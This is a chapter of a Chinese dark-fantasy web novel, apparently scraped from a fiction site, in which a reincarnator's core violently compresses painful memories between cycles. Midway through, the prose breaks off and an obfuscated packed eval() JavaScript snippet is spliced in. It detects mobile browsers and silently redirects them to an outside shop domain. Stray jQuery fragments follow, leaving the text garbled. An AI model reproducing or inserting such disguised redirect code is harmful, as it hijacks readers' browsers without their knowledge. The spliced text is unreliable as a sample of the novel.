文趣网 > 都市小说 > 永世神殇 > 19. 熵
    第十九章:熵

    银灰色的时空涡旋缓缓合拢,将第二次轮回的废墟彻底隔绝在外。眼前并非立即切换为第三次轮回的起点——那温暖虚假的神宴。轮回者置身于那片均匀、粘稠、无垠的银灰色虚空之中,与上一次归位时的景象如出一辙。

    这里是归位空间。是两次轮回之间的必要缓冲,是让轮回之核整合、消化、并准备覆盖新记忆的中间态。

    然而,这一次,有些不同。

    当轮回者踏入这片虚空,眉心那枚刚刚完成重大结构升级、内部封印着危险反应堆、并刚刚捕获了异常漏洞碎片的轮回之核,其旋转并未像上一次那样立刻启动记忆覆盖程序。

    相反,它似乎卡住了。

    不是停止,而是一种极度滞涩、充满内部冲突的旋转。其表面的暗金色纹路明灭不定,内部传来更加清晰、也更加令人不安的摩擦与嗡鸣声。仿佛是内部那些新增的、不稳定的组件与原有的、旨在高效处理痛苦记忆的归档机制之间,发生了某种不兼容与资源争夺。

    整个归位空间的银灰色胶质,也似乎受到了这异常状态的影响,不再均匀流动,而是呈现出一种微弱的、紊乱的涟漪,仿佛平静的湖面被投入了不止一颗石子。

    轮回者静立虚空中心,灰眸闭合。他能清晰地感觉到,这一次的归位过程,不会像第一次那样顺畅。

    第一次归位,是时之痂初次承载完整记忆,痛苦但直接。

    而这第二次,是经历了迹的积累、烙印的复杂化、净的危险吸收、以及漏洞的首次泄露之后,一个变得更加臃肿、矛盾且不稳定的系统,试图进行自我整理。

    这整理过程本身,就可能产生新的、不可预测的熵增。

    果然,预期的、来自轮回之核的、关于第二次轮回完整记忆的、冰冷而庞大的记忆覆盖数据洪流,并未如期涌来。

    取而代之的,是一股混乱的、断续的、充满噪点的信息流。

    这些信息流并非按照时间顺序或事件逻辑排列,而是碎片化的、跳跃式的、甚至是多线程同时涌入。

    前一瞬,是光明圣殿被暗金色裂痕污染时,那三件圣器齐闪的最后一刻,所释放出的、被高度扭曲和放大的物化屈辱的痛苦尖峰。

    下一瞬,立刻跳转到善良在哀恸之渊被毒匕刺入心脏时,那点善意余烬最后一次、徒劳的净化脉冲所散发出的、极其微弱的、混合了不解与心碎的余韵。

    紧接着,是懒惰在永劫之峰上彻底消散前,那最后一丝回光的、空洞的荡开感,与暴怒被冻结的冰雕内部、那极致寒冷坍缩时产生的、尖锐的自毁意志的碎片交织在一起。

    然后,又突兀地插入复苏在青芜界散去时,那缕草木清香中所蕴含的、近乎安然的、对生本身的终极倦怠。

    还有傲慢那暗金色裂痕点中圣殿法则时,所携带的、冰冷而充满针对性的否定意志,与被其污染的圣殿网络中、无数信徒同时发出的、充满疯狂与崩溃的痛苦信仰的嘶嚎,混合成一种令人作呕的、悖论的合唱。

    所有这些碎片,并非独立呈现,而是常常叠加、交织、甚至相互污染地同时涌现。

    例如,善良的心碎余韵可能与光明的物化屈辱碎片纠缠在一起,形成一种因纯粹善意而遭受工具化折磨的、更加复杂的痛苦感受。

    懒惰的空洞荡开感,有时会吸附上复苏的终极倦怠,让那种空变得更加沉重、更加令人不想存在。

    傲慢的否定意志与圣殿的痛苦信仰的混合,更是不断刺激、挑衅着轮回之核内部那新吸收的、危险的清除核心,使其隔离反应堆的运转出现不稳定的波动,反过来又加剧了信息流的混乱。

    这不再是有序的记忆覆盖,而是一场信息的雪崩,一场感知的风暴,一场由无数痛苦碎片、矛盾情绪、悖论意志混合而成的、高熵值的精神污染。

    轮回者站在风暴中心,身体无法控制地剧烈颤抖起来。他依旧站立着,但姿势呈现出一种极不自然的僵硬与痉挛。银发在无形的信息乱流中狂乱舞动。皮肤下那铁灰色的痕路网络,光芒疯狂地、无规律地明灭闪烁,颜色在银灰、暗金、暗蓝、暗绿、焦黑、灰白之间疯狂跳跃,仿佛内部的电路正在过载、短路、甚至燃烧。

    眉心轮回之核的旋转,在极致的滞涩与混乱中,似乎抵达了某个临界点。

    它不再试图整理或归档这些混乱的信息流。

    而是开始了一种更加危险的操作——强制压缩与随机嵌合。

    它利用其内部新增的、更强大的处理能力,以及那危险反应堆提供的、充满攻击性的能量,疯狂地将那些涌入的、混乱的痛苦信息碎片,不加区分地、暴力地压缩、碾碎,然后将其残骸,以一种近乎乱数的方式,硬塞进神格上对应的烙印区域,或者干脆粘贴在烙印区域的表面、缝隙之中。

    善良的焦痕上,被强行镶嵌进了几片属于光明物化屈辱的、尖锐的晶体碎屑,使得那灼痛中带上了冰冷的、被使用的屈辱感。

    光明的残存电路上,被泼洒上了大量属于善良心碎和懒惰空洞的、粘稠的、暗色信息淤泥,使得电路的闪烁变得迟滞、暗淡,且充满了无意义的杂音。

    暴怒色欲的痛苦晶簇表面,被焊接上了几缕属于傲慢否定意志的、带着尖刺的暗金色金属丝,使得那冰痛协奏曲的波动中,时不时爆发出短促的、充满毁灭冲动的杂音。

    懒惰的回声腔内部,被注入了少量属于复苏终极倦怠的、无色无味但异常沉重的惰性气体,使得那空洞的回响变得更加疲惫和了无生趣。

    甚至连那危险的隔离反应堆周围,也被附着上了一些属于圣殿痛苦信仰的、充满疯狂呓语的、类似宗教壁画般的扭曲信息涂层,使得其散发的辐射中,偶尔会夹杂着令人心智错乱的、充满亵渎意味的祷告碎片。

    这种强制压缩与随机嵌合,并非为了理解或承载,纯粹是为了处理掉这过载的、高熵值的信息洪流,用一种暴力的、破坏性的方式,为神格腾出空间,以接收即将到来的第三次轮回的新鲜痛苦。

    其结果就是,轮回者神格上的痛苦烙印图谱,在经历了第二次轮回的强化与复杂化之后,此刻又经历了一场粗暴的、垃圾填埋式的再加工。

    原有的烙印结构被破坏、扭曲、污染。

    不同性质的痛苦信息被强行混合,产生了无数新的、不稳定的、充满排异反应的痛苦化合物与信息瘤结。

    整个神格的信息熵值和结构不稳定度,急剧飙升。

    轮回者感到自己的存在,仿佛正在被内部滋生的、无数混乱而痛苦的杂质所填塞、所分裂。一种前所未有的、不仅仅是痛苦、更是存在本身正在变得污浊、混乱、濒临崩溃的恐惧感,冰冷地攥住了他的意识。

    但他无法反抗,也无法停止。

    因为这就是熵的过程。

    是永堕轮回这个系统,在不完美迭代、积累迹与漏洞之后,其内部信息与能量的无序度必然增加的体现。

    是痛苦在经历了多次重复、强化、混合后,不再仅仅是单纯的痛,而是开始腐败、变质、衍生出无数病态的副产物的过程。

    也是轮回者自身,作为这个系统的载体与记录仪,不可避免地要承受的、来自系统内生病变的反噬。

    不知过了多久,那混乱的信息雪崩,终于渐渐停歇。

    不是被处理完毕,而是轮回之核在暴力压缩和随机嵌合之后,似乎暂时达到了某种不稳定的、脆弱的平衡。它用这种粗暴的方式,强行将过载的高熵信息固化在了神格的烙印结构之中,如同用劣质的水泥和垃圾,勉强封堵了一道即将崩溃的堤坝。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639196|206660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    银灰色虚空的紊乱涟漪,也慢慢平息下来,恢复了那种均匀、粘稠的胶质感。

    轮回者颤抖的身体,逐渐停止了痉挛。他依旧站立着,但整个身影显得异常沉重、迟滞,仿佛被自身内部新增的无数杂质和瘤结拖拽着,几乎无法移动。

    皮肤下的痕路网络,光芒黯淡了许多,颜色变成了一种更加晦暗的、混合了所有污染色彩的、近乎浑浊的铁灰色,并且不再均匀流动,而是显得有些淤塞和凝滞。

    眉心轮回之核的旋转,虽然恢复了稳定,但速度比归位前更慢,每一次旋转都带着清晰的、结构性的滞涩感,仿佛内部齿轮间塞满了沙砾。其表面的暗金色纹路,也暗淡模糊了不少,仿佛蒙上了一层污垢。

    他缓缓地,极其艰难地,睁开了眼睛。

    那双灰眸,依旧空洞,冰冷。

    但在那片空洞的深处,似乎沉淀下了更多、更复杂的、难以言喻的杂质。疲惫、混乱、污浊、以及一种对自身存在状态日益恶化的、冰冷的认知。

    他低头,看向自己摊开的双手。掌心皮肤光滑依旧,但在他的内视中,能看到皮下那片已变得浑浊、淤塞、布满异物嵌合和瘤结的痕路网络。一种沉闷的、持续的、源自存在结构本身的不适与钝痛,从每一道痕路、每一个烙印区域传来,不再尖锐,却无处不在,如同生了锈、灌了铅的机器在艰难运转。

    这就是第三次轮回开始前,他的状态。

    一个经历了两次完整轮回、吸收了危险的净、捕获了系统漏洞碎片、并在归位时承受了粗暴熵增处理、体内神格结构已变得臃肿、污染、不稳定、且充满内在痛苦的载体。

    他知道,以这样的状态进入第三次轮回,其观测与记录的精度可能会下降,承受痛苦的能力可能会减弱,应对突发迹变或漏洞的风险会急剧增加。

    甚至,在第三次轮回的某些高烈度节点,他这已被污染和破坏的神格结构,可能会率先发生不可预测的崩溃或畸变。

    但他没有选择。

    他缓缓地,抬起头,望向这片银灰色虚空的前方。

    在那里,空间的胶质再次开始流动、旋转,形成那个熟悉的、通往第三次轮回起点的巨大涡旋入口。

    入口的另一端,温暖的光,流淌的星河,高举的琉璃盏,围坐的九张熟悉的脸……那场名为神宴的、永恒轮回的起点幻影,再次浮现。

    只是这一次,在轮回者的感知中,那温暖的光似乎蒙上了一层极淡的、难以察觉的噪点,星河的流淌轨迹有了一丝微不可查的迟滞,连那九张脸上的笑容,其弧度也似乎比记忆中……僵硬了那么一丝。

    是幻觉?

    还是这被污染的神格,已经开始扭曲他的感知?

    亦或是,这第三次轮回的“副本”,本身也因系统的迭代与熵增,而产生了一些……底层的、细微的劣化?

    轮回者不知道。

    他只是静静地、沉重地站在那里,灰眸凝视着那涡旋入口,凝视着入口另一端那似乎不再完美的温暖幻影。

    然后,他缓缓地,向前迈出了一步。

    脚步落地,沉重,凝滞,在胶质的虚空中几乎未发出声音,却仿佛耗尽了极大的力气。

    他没有停顿,也没有回头。

    一步,又一步。

    向着那第三次轮回的起点,向着那场注定更加痛苦、更加混乱、也更加危险的戏码。

    走去。

    身影,逐渐没入那银灰色的涡旋流光之中。

    涡旋缓缓合拢。

    银灰色的虚空,重归绝对的、均匀的寂静。

    只有那枚变得更加浑浊、滞涩、且内部充满不稳定杂质的轮回之核,在不可见的维度,开始了它的第三次旋转。

    第三次轮回,开始。